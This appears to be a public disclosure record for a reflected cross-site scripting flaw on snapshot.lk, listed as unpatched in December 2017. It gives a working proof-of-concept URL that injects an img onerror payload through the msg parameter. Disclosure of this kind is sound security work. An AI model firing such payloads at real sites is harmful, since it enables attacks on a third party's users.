snapshot.lk XSS vulnerability

Vulnerable URL: http://snapshot.lk/index.php?msg=%22%3E%3Cimg%20src=%22fpg.png%22%20onerror=confirm%27XSSPOSED%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...